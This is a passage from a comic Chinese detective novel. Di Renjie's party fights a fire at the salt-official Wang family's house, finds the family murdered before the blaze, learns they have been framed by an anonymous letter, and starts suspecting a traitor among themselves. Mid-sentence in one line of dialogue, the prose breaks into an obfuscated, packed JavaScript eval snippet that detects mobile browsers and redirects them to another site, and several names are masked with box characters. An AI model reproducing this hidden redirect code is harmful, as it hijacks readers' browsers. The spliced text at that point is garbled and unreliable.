几人才吃了几口饼,这么一闹,都吃不下去了。 洪辉突然放声大哭,狄仁杰等人都来安慰他。 洪辉叹了口气,道:“这世上的事啊,真是奇怪呢。有时候吧,你不去招惹别人,别人倒来招惹你。有什么办法呢?比如这事儿吧,我都不知道胡乐哥他气什么呀?无缘无故的,他干吗……干吗……干吗呀!” 狄仁杰、韩忠义几人也不知怎样说好。 梅四儿心里却是极其厌恶胡乐,于是开口道:“洪兄弟,我实话告诉你了吧。胡乐他呀,其实是喜欢鹃儿姑娘,却又不敢明说。他看你跟鹃儿姑娘走得近,便吃醋喽!” 这话一出,鹃儿先就羞死了。 狄仁杰、韩忠义几人都呵呵一笑。 洪辉这才明白,“哦”了一声,道:“原来是这样啊……”又嗫嚅道:“欸其实我跟鹃姑娘也就刚认识了没多久,我们之间……根本就没什么呀!哎,可胡乐哥他就不一样了,他那可是跟鹃姑娘都认识了不知道多久了呀!我……我怎么会去跟他那个……那个……去那个……是吧!胡乐哥这……这完全就是误会我了呀!我……我……对吧!这个……鹃姑娘,你也说一句。” 洪辉说的同时,鹃儿便红着脸道:“你快别说了嘛!这都什么跟什么呀!唉呀……” 狄仁杰几人都笑了。 洪辉笑道:“所以胡乐哥误会我……这当然是正常的嘛!说明他对鹃姑娘一往情深,我确实应该离鹃姑娘远点嘛!是吧。这个……欸其实啊,我……我一直也只是……只是把鹃姑娘……当作个好朋友而已嘛!啊,就像我对胡乐哥那样,其实也没什么不同的呀!啊?我真不想胡乐哥他误会我呀。我……嗐,我不太会说话,我……我不知道怎么说了……”越说越哽咽,又痛哭了起来。 韩忠义道:“我去把胡乐叫回来。” 出去了一时,领着胡乐进来了。 胡乐泪流满面,望着洪辉道:“兄弟啊,我……我对不起你,我不该那么对你。我知道,你心中也有她,你却可以……为了我而舍弃掉。我……我心胸狭隘,我不如你啊。”走了过来,与洪辉相互拥抱。 几人见他们和好了,都深感欣慰。 鹃儿见了,也很开心,望着他们微微一笑。 当晚几人便歇下了。 次日一早,天色尚暗,便听得外面乱嚷。 狄仁杰几人除了胡乐、梅四儿二人兀自呼呼大睡以外,其余都被吵醒了。 出外一看,只见店主和几个住店的正一脸慌张地指向远处。 狄仁杰几人眼目朝他们所指之处一看,可不正是东凤县的方向。 只见一派火光冲天,朦胧的四周被照得通红。 那些人道:“唉呀,怎么走水了呀?” 狄仁杰忙过来问:“什么时候的事?” 那些人道:“也就刚刚没多久。” 狄仁杰道:“王家可能出事了。” 遂忙将胡乐二人叫醒,付了店钱,一行人便径奔东凤县而来。 不一时到了,只见一群人正围在一所着了火的宅院面前观看。 狄仁杰几人忙过来一问,都道:“这是盐官王家的宅子。” 韩忠义道:“那你们都站这儿干吗呀?怎么还不救火呀!” 那群人道:“我们才不救呢,让王罢来救。” 胡乐道:“王八会救火?” 那群人道:“王罢要不救,谁还救!” 胡乐道:“你们是人还是王八呀?” 那群人怒道:“当然是人了!你才是王八!而且还是又肥又矬又丑的王八!” 胡乐怒道:“他妈的!你们怎么连骂我的话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051986|194817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿都一模一样啊!” 那群人道:“是你先骂我们王八的!” 胡乐道:“是你们先王八来救火的!” 那群人道:“有什么不对?就是王罢来救火!” 胡乐道:“胡说八道!王八怎么会救火?” 那群人道:“王罢不救,难道你来救?” 胡乐道:“我又不是乌龟王八,我救什么呀我救!” 那群人“哦”了一声,道:“你听错啦!不是王八,是王‘罢’!” 胡乐也“哦”了一声,道:“原来如此!不是王八,是王八他‘爸’!” 那群人道:“不是王八他爸!那个人的名儿就叫‘王罢’!是个人,不是个王八!” 胡乐又“哦”了一声,道:“原来是个叫‘王八’的人。” 这时狄仁杰几人正来来回回到井里打水,都忙着泼水救火。 韩忠义道:“你们还说着呢?火势都要蔓延了,到时候整条街都给烧着了!” 那群人道:“怕什么,这东凤县一整条街都是他王家的,我们又不住这儿。王罢见他爸被火烧着了,还不急吼吼地赶来救火?肯定一会儿就到呢!” 胡乐道:“王八他爸见他爸……那就是王八见他爷爷喽?” 韩忠义怒叫:“胡乐!你他妈的还不给我滚过来抬水!” 狄仁杰一面浇水,问那群人道:“这火到底是谁放的?” 那群人道:“我们哪知道!” 韩忠义道:“莫不是你们?” 那群人忙道:“喂,这话可不能乱说哦!我们也是见到了火光才来的。” 韩忠义道:“那你们为什么一副幸灾乐祸的样儿?” 那群人道:“王家断子绝孙死光光,我们当然高兴还来不及了,难道还要装出一脸悲伤啊!” 马肃道:“我看这火就是你们放的!” 那群人道:“我们倒想放呢,只是有贼心也没贼胆哪。没想到这会儿,倒有人替我们出了这口恶气!哼,王家一群狗杂种,也算是罪有应得了。” 洪辉问道:“欸,你们为啥那么恨王家啊?” 那群人叹了口气,道:“我们哪,就是普通的老百姓,难道还敢犯什么法不成?盐官再怎么说也是个官哪,我们也不敢怎么样!我们都是这附近的居民,却都归东凤县王家管。你们还不知道吧?那王家全是一群贪官,都不知道坑了咱老百姓多少钱!他王家一家就把盐全都给垄断了,搞得我们也只能买他家的盐。他再把盐卖得极贵,我们根本就买不起。不但如此,我们还得常常交给他王家一大笔的盐税,否则他就连盐都不卖给我们。没有了盐,我们许多农民连干活的力气都没了,还怎么活呀?这不是官逼民反,民不得不反嘛!哦当然,这火确实不是我们放的,但我们也确实挺想放的……” 狄仁杰几人听了道:“王家竟然这么糟糕啊!” 洪辉怒道:“他妈的!怎么到哪儿都能碰见贪官?” 胡乐哼道:“这王家也真是活该‘亡’了!”又问:“欸你们刚才说的那‘王八’是谁呀?” 那群人道:“那人叫‘王罢’!不是七八九的‘八’,是罢手的‘罢’!” 胡乐道:“哎罢罢罢!” 那群人道:“咦,你怎么连说的话都跟王罢一模一样啊?” 胡乐怒道:“他妈的!我哪知道王八怎么说话!” 那群人道:“王罢还真就像你这样说话。” 胡乐叫道:“气死我啦!” 那群人道:“不用气,王罢也是成日叫‘罢罢……’” 胡乐道:“王八叫‘爸爸’关我屁事儿啊!” 那群人道:“那王罢就是王老爷的儿子,本名□□……” 胡乐道:“本名‘完蛋’?” 那群人怒道:“你个肥矬王八杂种耳朵有毛病啊!是‘□□’,‘□□’!王八的‘□□心的‘丹’!听懂了没有!” 胡乐点头道:“这下听懂了。王八的‘王’,担心的‘担’。欸,这王八担心啥呀?” 那群人又道:“这个□□哪,因为他总是‘罢罢罢’的叫,所以我们才给他起了一个诨名叫‘王罢’。” 胡乐道:“诨名叫王罢,本名叫王担,起个诨本名叫‘王罢担’。” 正说着,狄仁杰几人已将火浇灭了,宅子却早已烧成了一片瓦砾场。 狄仁杰几人适才只顾灭火来着,这时奇道:“这东凤县里那么多住宅,怎么除了这几个外地的就没个人了?” 只见一人当先领着许多人走了来。 那群人指着当先那人道:“是王罢来了,我们快走!”说着,早都一溜烟跑得没影儿了。 突然四面八方的住宅门一齐大开,冲出一群人来,都叫道:“恭候王爷!王老爷的宅子不知怎地烧着了,我们一县人都拼了命的浇水救火,这才把火给浇灭了!” 王罢慢慢道:“罢,罢,罢。你们,都回去吧。” 那群人飞也似的回屋,迅速关了门,县里复如空城一般。 狄仁杰几人惊得目瞪口呆。 那王罢缓缓走了过来,望着一片废墟,突然款款笑了起来。 狄仁杰几人更惊。 韩忠义指着道:“喂喂喂,你……你就是那王老爷的儿子?” 王罢徐徐道:“罢,罢,罢。不用说了,就是我。” 洪辉道:“你这人怎么回事儿啊?死了亲爹还能这么开心?” 王罢缓慢道:“那当然。我爹那老不死的,这下总算死了。王家,今后就是我的喽。” 胡乐道:“喂喂喂,你怎么连说话儿都跟个王八似的?你他妈的能不能像个人儿?” 王罢忙道:“能。”这才注意到了狄仁杰八人,惊道:“呀!哪儿来的叫花儿!”望着一片断壁颓垣呆了半晌,突然欢天喜地大笑道:“我爸爸死啦!我爸爸死啦!哈哈哈哈哈!” 旁边一人道:“小爷……” 王罢道:“什么小爷!叫老爷喽!” 那人悄悄道:“老爷,你就是装也得装一下,毕竟老爷刚死,也得悲伤悲伤。” 王罢哈哈大笑道:“罢罢罢!装就装吧!”说着,放声大哭道:“爸!爸呀!你死得好惨哪!你怎么不让儿子见你最后一面啊!爸呀!是谁这么歹毒呀!竟然一把大火儿把你老给活活烧死了呀!哎呀!”嚎着,又哈哈大笑,看着那人道:“欸,这样总行了吧?” 狄仁杰指着他怒道:“你还是人吗!虽然你父亲欺压百姓,死有余辜,可你为人子者,竟然……”叹了口气,不知说什么好了。 韩忠义指着王罢喝道:“火原来是你放的呀!儿子弑父,真是罪不容诛!” 王罢忙道:“不不不不不!不是我!我是有贼心也没贼胆哪!唉你们不知道,我那老爸对我忒坏咯,虽是亲爸,比干的还差些呢!是他把我赶了出去,不让我住在县里。欺压百姓的也是他,跟我一点儿关系都没!所以我听说了他被大火儿烧死的消息,当然高兴还来不及了,难道还要装出一脸悲伤啊!” 狄仁杰问他:“你住的地方离东凤县有多远?” 王罢道:“其实也不远啦,只是我好几年都没回来看望我爸了,他也不想见我……” 洪辉喝道:“先生是在问你住的地方离东凤县有多远!你赶紧地给我回答问题!” 王罢道:“也就……一百多里路吧。” 韩忠义指着喝道:“胡说八道!这火明明就是刚刚才烧着的,你离得这么远,怎么可能这时候赶得来?你果然就是犯案之人!” 王罢背后那群人道:“我们都是小爷……” 王罢道:“是老爷!” 那群人道:“我们都是老爷的家仆,我们可以作证,老爷真的是住在东凤县外一百多里路。老爷早在几天前便得知了老爷被火烧死的消息,所以才日夜兼程赶了来。我们也没想到老爷是刚刚才被火烧死的。你们不知道,老爷嘴上虽然恨老爷,其实心里难过着呢,毕竟老爷跟老爷父子一场,情分还是有的。其实老爷曾经确实对老爷不够好,老爷这才一气之下离家出走了。这么些年,老爷其实一直很想回来再见见老爷,可又不好意思。其实老爷也很是想念老爷的,常常派人寄书信过来,要老爷回东凤县。其实老爷心里也是想的,只是不知道回去了以后该怎样面对老爷。不料这回老爷竟然死了,老爷连最后一面也没见上。老爷听说了以后,表面在欢笑,暗地里却伤心地哭着呢。” 这番话说出了王罢的心声,不由得大哭了起来,且这一回是真的。 韩忠义几人正被一大堆的什么“老爷”弄得晕头转向,狄仁杰却是思路清晰,忙问道:“你们是如何提前得到消息的?” 那群人看着王罢道:“老爷,要不要告诉他们?” 王罢一面擦着泪叹气道:“虽说是几个叫花子,可他们毕竟那么关心我爸呀,那就告诉他们了吧。” 那群人遂道:“几天前,我们收到了一封信,上面写着:‘你父亲已被大火烧死,凶手是……’” 狄仁杰还未听完便忙道:“信上有说凶手是谁?” 那群人道:“有,信上说:‘凶手是狄仁杰一伙八人。’” 狄仁杰八人登时惊得瞠目结舌。 韩忠义一听这话便连忙回过头来悄声道:“喂喂喂,你们赶紧在胡乐背后躲几个人。” 胡乐听了大怒道:“他妈的韩忠义!干吗是我呀!” 韩忠义忙踹了他一脚,悄骂道:“因为你肥!闭上你的猪嘴!” 八人中也只鹃儿身高与胡乐差不多,遂连忙躲在了胡乐背后,登时被他给完全遮住了。 洪辉这才反应过来,叫道:“哎呀!狄先生!……” 王罢和那群人都惊道:“你说什么‘狄先生’?你们中间有姓狄的?” 洪辉见狄仁杰几人一脸惊愕地望向自己,这才发现说错话了,忙道:“哦不不不不!你们听错了!我说的不是‘狄’,是‘地’!是‘地先生’!” 那群人中一个有学识的反驳道:“非也!汝有何根据言‘地先生’?老聃曾云:‘人法地,地法天,天法道,道法自然。’道生万物,故而大于万物。而天地之间一切存在即是万物。因此‘天地’二者皆由道所生,又有何先后可言?纵有,亦非‘地’先生,乃先有天,而后有地也。此所谓‘地法天,天法道’也。汝知否?” 洪辉一脸懵道:“没听懂。” 胡乐道:“谁是老蛋?” 那有学识的道:“便是老子。” 胡乐道:“老子是个‘蛋’?” 韩忠义向狄仁杰小声道:“大人,看来是有人要陷害我们。” 狄仁杰微微点头,问王罢道:“那封信究竟是何人写的?” 王罢道:“上面并没有署名。” 狄仁杰道:“那你怎么相信信上的话是真的?” 王罢道:“我自然是不信的。可是我想,有人竟然敢这么咒我爸,说不定真要害他呢。所以我便趁着这个机会来见见他,顺便告诉他要小心点儿!可能有人要来害你!如今这么看来啊,信上所说的还是真的咯。” 狄仁杰道:“那你相不相信凶手就是狄仁杰几个人?” 王罢道:“我爸竟然都被大火给烧了,现在就看他是不是真的死喽。要真死了,那肯定是狄仁杰几个王八蛋干的!” 胡乐正准备“王罢担”的回骂,听他又道:“这狄仁杰好好的宰相不做,倒去通敌卖国,滥杀无辜。这种恶心的事儿,也只有狄仁杰几个人会去干。” 韩忠义几人大怒,正要发作,听狄仁杰忙咳了两声,方住。 狄仁杰指着宅子道:“你可许我们一同到里面探个究竟。” 王罢道:“行啊,都进来瞧瞧吧。” 遂都跨过一片焦黑的木头,到里边一看,只见遍地死尸,尽被烧得面目全非,真是惨不忍睹。 诸人此时一见,还是不由得一声惊呼。 稍微胆小些的,如梅四儿、鹃儿等人,都尖叫了起来。 狄仁杰道:“我们都到处看看,还有没有活口。” 一时都回说:“全死了。” 那王罢一见了这场面,忍不住大叫道:“爸!爸!你在哪儿啊!”看着一具具尸体,泪水一行行滚了下来,又叫:“怎么一把火儿就都死了呢!” 狄仁杰检查了几具尸体,道:“他们不是被火烧死的。” 都问:“那他们是怎么死的?” 狄仁杰道:“刀……” 韩忠义道:“大人,你说什么?” 狄仁杰道:“他们脖颈处的刀伤,才是致命因素。” 韩忠义一看,道:“是啊!看来他们是先被杀害,再被火焚的。” 狄仁杰道:“再看他们的口里,并没有太多的烟灰。这是因为起火之时,他们已经死去了,所以才未曾呼吸进来。” 韩忠义道:“这果然不是意外。” 洪辉道:“我们也太倒霉了吧!我们正要来王家呢,王家这时候就被人给害了!” 狄仁杰向王罢道:“如此看来,凶手是有意杀害汝父。而你在几天前便收到了那封说你父亲已死的信,说明这是早有预谋,绝非偶然。” 王罢切齿道:“你说得对,看来就是狄仁杰他们干的!” 马肃道:“你怎么能这么说呢?” 王罢道:“信上说的既然都是真的,难道还不是狄仁杰他们干的?” 韩忠义道:“你好好想想,如果真是狄仁杰几个人干的,他们又为什么要来提前告诉你他们要杀害你父亲的阴谋呢?他们若是不说,谁又知道是他们干的?说明说狄仁杰几个人根本就不是凶手,而是被真凶拿来陷害的对象。你现在不要冤枉了好人。” 洪辉忙道:“就是啊!我们跟狄先生……” 王罢和那群人都惊道:“你说什么?你又说了‘狄先生’!你们中间到底有没有姓狄的?” 洪辉道:“当然有啦!” 王罢和那群人“啊”的一声,大惊道:“真有姓狄的呀!” 洪辉烦得要死,道:“有又怎么样啊?姓狄的碍着你啦?你们跟姓狄的有仇啊?我告儿你们啊,不但先生姓狄,狄宁哥他也姓狄!我们中间姓狄的还两个人呢!你们怎么着吧!” 忽见狄仁杰几人一脸生无可恋,这才意识到又说错话了。 王罢道:“你小子很诚实,那就不用解释了!说吧,你们中间这位姓‘狄’的先生,叫什么名字啊?” 胡乐忙顺口道:“狄名字。” 王罢道:“什么?” 胡乐道:“叫狄名字。” 王罢道:“什么狄名字?” 胡乐道:“姓狄的叫‘狄名字’。” 王罢叫道:“我就是在问这姓狄的到底叫什么‘名字’!” 胡乐叫道:“我他妈的不是告诉你了嘛!姓狄的名字就叫‘狄名字’!” 王罢道:“我可不信!哪有人起名叫‘名字’的?” 那群人中有学识的那个道:“老爷,此肥矬所言,或非指人姓名之‘名字’,乃指孔明所云:‘非淡泊无以明志’之‘明志’也。是以肥矬非言‘狄名字’,乃曰‘狄明志’也。” 洪辉道:“没听懂。” 王罢冷笑道:“这你都没听懂?真是不学无术。罢罢罢,我明白啦,不就叫‘狄名字’嘛!”又指着狄仁杰几人道:“数数他们到底有几个人。” 那群人数了数道:“算上肥矬,七个半。” 原来这时鹃儿正躲在了胡乐背后,他们均未瞧见。 胡乐道:“等一等,什么叫‘七个半’呀?” 那群人道:“你那么肥,算一个半,再加上另外六个,不是七个半吗?” 胡乐直气得暴跳了起来。 那群人指着惊道:“呀!他背后还有个人!” 鹃儿知道藏不住了,只得出来。 王罢忙道:“快,再数数!” 韩忠义忙道:“不用数了!七个人一头猪。” 胡乐怒道:“韩忠义,你别他妈的含沙射影!” 王罢看着那群人道:“好像是八个人哪?” 那群人道:“老爷,你数错了,是八个半。” 那有学识的反驳道:“尔等所言谬矣!有诗为证:‘一瘦者虽瘦,然亦为一人。因此绝非半,便是一人也。一肥者虽肥,亦非一个半。是人终是人,何必多一半?’因此老爷所言‘八个人’,实为高论。吾深以为然!” 王罢看着狄仁杰几人道:“你们中间既有姓狄的,而且还正正好就八个人,这什么意思啊?” 胡乐道:“没什么意思啊!你什么意思啊?” 王罢道:“我也没什么意思啊!” 胡乐道:“你没意思还说什么呀?” 王罢道:“我也没想说什么呀!只是我今儿才刚到,这么巧就碰见了你们几个,这难道也是偶然?” 胡乐“嘿”了一声,指着道:“刚才要不是俺们几个拼了命的帮你救火,还不知那个来救火的‘王八’什么时候到呢!” 王罢道:“这火难道不是县里人救的吗?” 胡乐瞪眼骂道:“放你妈的屁呀!这火是我们几个救的!那些人是见你来了以后才屁颠屁颠地滚了出来,那关他们屁事儿啊!” 王罢道:“就算你们几个也有帮着救火,县里人也不可能见死不救啊!这东凤县里住的全是我爸的至亲好友。他们见我爸出了事儿,难道还会坐视不理?” 狄仁杰几人听了,都仰天叹道:“天哪!就那样还是至亲好友呢!” 韩忠义道:“你现在配合我们一起查案,我们可以帮你抓到杀害你父亲的凶手。怎么样?” 王罢道:“不用查了!都这么明白了,还查什么查呀!就是姓狄的一伙儿八个人干的!” 胡乐叫道:“你他妈的到底什么意思呀!” 王罢叫道:“我没意思呀!我怀疑就是你们几个!” 洪辉冲过来骂道:“我去你妈的就是我们几个怎么着了!” 王罢点头道:“好,既然你们都亲口承认了,那我们就可以来好好谈谈了。” 韩忠义道:“姓王的,我告诉你啊,我们这次就是专门为了你王家的事儿来的。” 王罢指着怒叫:“来得好啊!你们是专门来杀我爸来啦!” 韩忠义冷笑道:“你那爹还不配我们来杀!” 王罢狠狠道:“那你们来干吗?” 韩忠义喝道:“你们王家涉嫌了一个关系到国家存亡的大案!” 王罢惊道:“你说什么?” 韩忠义道:“军粮被劫一案,想必你也有所耳闻。” 王罢道:“军粮难道不是你们几个劫的吗?” 胡乐叫道:“你放屁!那是有人在陷害我们!” 王罢道:“军粮被劫又跟我王家有什么关系?” 韩忠义道:“你们王家的私盐跟被劫的军粮出现在了同一个地方,你还敢说跟你王家没有一点关系!” 王罢道:“那我也不知道!我爸生前从不让我插手盐的事儿,我对这些真的是一窍不通!” 韩忠义道:“所以你明白为什么凶手要来杀害你父亲了,因为你父亲是知情者!” 王罢双手抱头道:“我爸怎么会跟这种事儿牵扯上了呢?” 韩忠义道:“你还不知道严重性吧?这军粮要是到不了边关,前方也就没有了粮食。战士们要是连吃的都没了,谁还给你打什么仗?照这么下去,战事将连连败退,而我们面临的便是亡国之患!” 王罢道:“你们是怀疑,我爸也有参与其中?” 狄仁杰道:“或许你父亲他也是被人给利用了。” 王罢道:“谁?” 狄仁杰道:“便是写信告诉你消息的人。” 王罢道:“那他为什么要来告诉我呢?” 韩忠义叹了口气道:“你这人怎么这么笨哪?你还不明白啊?他们是想借你们的刀来杀我们,让我们斗个两败俱伤,他们好从中获利。到头来他们这个杀害你父亲的真凶依然逍遥法外,而我们这时候都已经死光光了,案子也不用破了,都一起散了吧!” 胡乐一听这话,立时竖起大拇指来,点头笑道:“韩护卫所言真乃高论哪,我胡乐是非常非常地赞成啊!我跟韩护卫所想的简直是一模一样,毕竟英雄所见略同嘛!竟然跟我一直以来的想法浑然一体、丝毫不差呀!行嘞,案子也甭破了,咱现在就散了吧。”说着就要走,被韩忠义一把提过来骂道:“你别做梦!我后面那两句话的前提是‘我们这时候都已经死光光了’,可这时候我们还没有死光光呢,你现在就想走啊?没门儿!” 胡乐叫道:“哎呀!我真是倒了血霉啦!我算是上了贼船下不来啦!” 洪辉笑道:“胡乐哥,跟着狄先生多好啊!” 胡乐叫道:“你跟去!别拉上我!哎呀!” 马肃道:“狄公,我们线索又中断了,该怎么办?” 狄仁杰道:“还有一个线索,就是这东凤县的居民。这王宅中人悉数被害,岂会毫无动静?为什么适才大火燃烧之际县里无人救火?这都是疑点。”看着王罢道:“你可愿意帮助我们?这是查清你父亲被害的真相最后的途径了。” 王罢叹了口气,道:“好吧,我帮你们。” 都出了王宅,来到大街上。 王罢命:“把他们都叫出来。” 那群家仆大叫:“王老爷叫你们都出来!” 突然四面八方的住宅门又一齐大开,冲出了一群人来,道:“王爷有何吩咐?” 王罢指着狄仁杰,道:“他问你们什么话,你们便如实回答。” 居民们道:“是。” 狄仁杰道:“你们刚才知不知道王家着火了?” 居民们道:“知道。” 狄仁杰道:“那你们为什么不来救?” 居民们不答。 王罢怒道:“你们赶紧说!我爸平日也待你们不薄,没想到你们这么忘恩负义!” 居民们道:“我们要是说了,就要死了。” 王罢道:“我保你们不死!说!” 居民们道:“几天前,有一群蒙面人来威胁我们说,过几天王家会着火,谁要是敢来救,就杀了谁。” 王罢大怒,指着叫道:“你们既然也提前得到了消息,那你们又为什么不来告诉我爸?你们至少也叫他提防着点儿啊!” 居民们叹了口气,道:“你爸生前啊,是待我们很好。可我们都想啊,你爸他也不过就是个人嘛。只要是个人,横竖早晚都得死呀。那就管他怎么个死法,不也都差不多呢嘛,对吧。就算你爸长命百岁,可过了百岁以后,他也还不是得死嘛,对吧。所以啊,不管你爸他是老死,还是被大火给烧死,横竖怎么着都得死不是?这么说来,你爸死了就死了嘛,也没什么呀!你爸虽然死了,我们一县人不都还活着呢嘛!至少我爸没死,他爸也没死,也就死了你爸嘛!哦,难道就为了让你爸不死,我们一县人都得跟着他陪葬啊?王爷,你要知道,你爸他也不过就是个人!是个人怎么着都得死,而你爸也是个人,所以他就死了嘛。只是你爸死得惨些,连个全尸都没留下,仅此而已嘛。横竖人死后都差不多啦,可像你爸这样被大火给烧到连骨头都不剩一块儿的,唉呀,也确实不多。行了,现在你也明白了,横竖是个人都得死,那就还是让你爸去死吧!什么?你说我们‘不是人’?我们怎么就不是人了?我们当然是人了!不但我们是人,你爸他也是人!只是同样是人,我们都还活着,你爸他却死了。当然,你爸就是死了,他也还是个人,不过就多了个死字,叫‘死人’。横竖你死了爸,我们活着,何乐而不为?”说着又都飞也似的回屋去了。 王罢仰天叹道:“天哪!就这样还是至亲好友呢!” 狄仁杰几人也只是摇头叹气而已。 狄仁杰遂劝慰了王罢几句,又嘱咐道:“可你也要记住一句话:多行不义必自毙。你父亲为何会落得如此下场,你心里也是清楚的。从今以后,你要做个有公正的好盐官,除了朝廷所要的盐税以外,不许多收百姓的钱财中饱私囊。待狄某破案之后,我要让全国各地的贪官污吏全都得到他们应得的报应。届时,我不希望你王罢也是其中之一。你听明白了没有?” 王罢行礼道:“阁老的话,下官谨记。” 狄仁杰一行遂辞别了,出了东凤县便继续赶路。 路上韩忠义道:“大人,适才所见,王家被害的行凶手法,可不又是寒刀帮。” 狄仁杰叹道:“没想到二十多年过去了,他如今却是把当年用来破案的才能拿去犯罪,那我狄仁杰当真是技不如人了。” 韩忠义道:“大人,你说的是谁啊?” 狄仁杰道:“他。” 韩忠义道:“‘他’是谁?” 狄仁杰望着空中缓缓飘落的雪花,道:“是人心的另一面。” 41. 第四十一章 内奸 这晚雪虽不大,寒风却是侵肌裂骨。 狄仁杰一行夜宿荒庙。方欲就寝,听马肃道:“狄公,我有句话,不知当讲不当讲。” 狄仁杰道:“你说。” 马肃犹豫了一下,道:“我只是觉得,有一点非常奇怪。” 狄仁杰道:“你想说什么?” 马肃道:“我们此次前来调查王家的行动,本是绝对保密的。可他们似乎是早已知晓,所以才能提前安排好了这个局。不论是从时间,到地点,都太巧了。他们若不是提前算好了我们的行程,又怎么可能这么正好让我们跟那个王罢相遇?我觉得巧合太巧之时,就不再是巧合了。” 韩忠义道:“马兄是说……是有人向他们通风报信?” 马肃道:“我……我也不知道。我只是……随便说说而已。” 韩忠义道:“而且这个通风报信之人,就在我们几个当中。” 这话一出,几人心里都是一惊。 洪辉道:“忠义哥,我怎么没听太懂呢?你……你说的是什么意思呀?” 狄宁道:“韩将军是说,我们中间有内奸。” 胡乐道:“妈呀,真的假的!” 洪辉道:“不会吧!” 马肃叹了口气,道:“我虽也不想这么认为,可如果不是我们中间有人通风报信,那消息又是怎么泄露的?” 这时八人在一片黑暗中面面相觑,有的甚至互相猜疑了起来。 洪辉忽然大叫:“不是我,不是我!” 梅四儿道:“洪兄弟,你着什么急啊?” 洪辉颤道:“你们……你们别都这种眼神,怪吓人的……” 梅四儿冷笑道:“一个人要心里没鬼,又害怕什么呢?” 洪辉指着他叫道:“姓梅的!你为什么这么说!你是不是怀疑我!” 梅四儿道:“我又没说你,你干吗要对号入座啊?” 洪辉叫道:“你干吗这么看着我!” 狄仁杰道:“小辉,你先安静下来,不要那么激动。” 韩忠义道:“是啊,我们中间是否真有内奸,现在也还不好说。” 胡乐道:“姓梅的,你怀疑我辉兄弟,别是自己心里有鬼吧?” 梅四儿一听便慌了,忙道:“没有没有,我没有怀疑洪兄弟!只是刚才见他那么紧张,有点可疑……” 胡乐冷笑道:“你刚才见他紧张就觉得可疑,那我现在见你也蛮紧张的呀,你是不是也挺可疑的呀?” 梅四儿双手颤抖,慌忙道:“哎呀胡兄弟,我再也不敢再怀疑谁了!我现在求求你了,你也不要来怀疑我呀!” 胡乐指着他叫道:“姓梅的!我告诉你,我还真就怀疑是你!而且我还是有根据的,不是瞎掰!” 梅四儿颤道:“你……你有什么根据?” 胡乐道:“记得昨儿晚上我们住在客店里,我还跟我辉兄弟闹了点儿不愉快。可这事儿啊,就是个误会,现在也都过去了,咱以后也都甭再提咯!从今往后,辉兄弟仍是我胡乐的好兄弟!” 洪辉忙笑道:“是!胡乐哥也还是我洪辉的好哥哥!” 韩忠义笑道:“你们俩能不闹别扭就好。” 胡乐道:“好,我现在要说的就是这姓梅的。我敢断定,我们中间要么就没有内奸,要么就是他无疑!” 韩忠义道:“我知道你平日跟梅兄有嫌隙,你现在怀疑他,到底有什么根据?” 胡乐道:“昨儿晚上半夜里啊,我迷迷糊糊地见到了这姓梅的独自个儿的滚了出去……” 梅四儿道:“我……我没有滚。” 胡乐叫道:“那你就是走了出去了,你满意了吧!横竖你都是出了客店了,对不对!” 梅四儿道:“我是出去了一回……” 胡乐叫道:“你他妈的出去干吗啦!通风报信去了吧!” 梅四儿忙道:“没有没有!我是去上茅厕……” 胡乐叫道:“你放屁!茅厕明明就在马槽旁边,你根本就没有去!你到底干吗去啦!通风报信去了吧!内奸!” 梅四儿道:“我是出去小解去了……” 胡乐叫道:“放你妈的屁!小解不去茅厕!” 梅四儿慌道:“哎呀,我真的是去小解啦!茅厕我本来是想去的,可太暗啦,我怕呀!不敢去呀!我就在亮点儿的地方……” 胡乐叫道:“亮点儿的地方通风报信确实容易些!至少比茅厕容易些!” 梅四儿叫道:“是到亮点儿的地方小解!不是通风报信!” 胡乐大叫道:“你叫什么叫啊!不会好好说话!谁知道你是去小解还是通风报信!” 梅四儿道:“那你怎么知道我不是去小解?” 胡乐大叫道:“我不知道!” 梅四儿道:“那就行了嘛。” 胡乐道:“他妈的。” 狄仁杰道:“好了都不要争了。” 胡乐道:“老爷,这姓梅的大半夜里鬼鬼祟祟的肯定有问题!主要是那时候你们都挺着尸,不像我瞧见了的。” 韩忠义道:“这就怪了。我们几个谁都有可能醒来,就你不可能。怎么他半夜里出去,倒是被你给瞧见了呢?” 胡乐“嘿”了一声,指着道:“韩忠义,你还怀疑我呢?” 韩忠义冷笑道:“我还不知道你?你这人一睡着就跟个死猪似的,才真正诠释了什么叫做‘挺尸’!哦,这么巧!昨儿夜里梅兄出去还正好就被你给瞧见了!哼,你说这可能吗?” 梅四儿忙道:“多谢韩将军为小的说话。” 胡乐叫道:“我他妈昨晚偏偏就醒了嘛!” 韩忠义道:“姓胡的,你要没点问题,你干吗乱嚷?” 胡乐怒道:“韩忠义!你也有问题!” 韩忠义道:“我都跟了大人多少年了,比你还久,我难道还会去出卖大人不成?” 胡乐冷笑道:“你一开始就是歹人派到老爷身边的内奸,一直以来装得还挺像啊!” 韩忠义指着怒道:“姓胡的!你故意要挑拨离间是不是!我看你平日里装疯卖傻的,应该才是那个隐藏最深的吧!” 胡乐叫道:“我生来就是这样!不用装!你他妈的才装!” 韩忠义冷笑道:“你都有本事装到不像是在装了,你好厉害呀!” 胡乐大怒道:“姓韩的!我也跟了咱老爷那么久,你凭什么要这么诬陷我!” 二人吵到几乎要打起来。 其余几人都赶忙来劝。 狄仁杰道:“好了好了,我们之间都不要再争了!我们要是起了内讧,那才是中了歹人的计了。” 马肃道:“狄公说得是啊,也许我们中间就没有内奸呢。” 狄仁杰道:“胡乐啊,你也休要错怪了梅四儿。王罢他们早在几天前就收到了那封信,说明消息并不是昨晚才泄露的。” 梅四儿忙道:“多谢阁老为小的说话。” 韩忠义道:“可大人,这消息毕竟还是泄露了,说明我们中间确有奸细。” 狄宁点头道:“我也觉得有。” 洪辉道:“可我看我们几个都不像啊!” 另外几人都不由得笑了,道:“要真像了还能叫内奸?” 鹃儿叹道:“但愿我们几个都不是内奸就好了。” 胡乐道:“哎罢罢罢,咱先睡吧!” 